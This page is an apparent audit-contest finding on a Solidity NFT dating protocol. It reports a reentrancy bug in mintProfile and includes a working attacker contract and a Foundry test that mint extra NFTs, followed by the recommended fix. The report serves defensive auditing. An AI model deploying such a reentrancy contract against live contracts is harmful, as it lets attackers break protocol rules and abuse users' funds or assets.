DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

pintosric

Summary

In mintProfile, the internal _safeMint function is called before updating the contract state (_profiles[tokenId] and profileToToken[msg.sender]). This violates CEI, as _safeMint calls an internal function that could invoke an external contract if msg.sender is a contract with a malicious onERC721Received implementation.

Source Code:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Vulnerability Details

Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs:

function testReentrancyMultipleNft() public {
MaliciousContract maliciousContract = new MaliciousContract(
address(soulboundNFT)
);
vm.prank(address(maliciousContract));
MaliciousContract(maliciousContract).attack();
assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1);
}
contract MaliciousContract {
SoulboundProfileNFT soulboundNFT;
uint256 counter;
​
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
}
​
// Malicious reentrancy attack
function attack() external {
soulboundNFT.mintProfile("Evil", 99, "malicious.png");
}
​
// Malicious onERC721Received function
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Reenter the mintProfile function
if (counter == 0) {
counter++;
soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
}
return 0x150b7a02;
}
}

Impact

The attacker could end up having multiple NTFs, but only one profile. This is because the mintProfilefunction resets the profileToTokenmapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint.

I consider that the severity is Low because the LikeRegistrycontract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles.

Tools Used

Foundry

Slither

Recommendations

To follow CEI properly, move _safeMint to the end:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
+ _safeMint(msg.sender, tokenId);
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.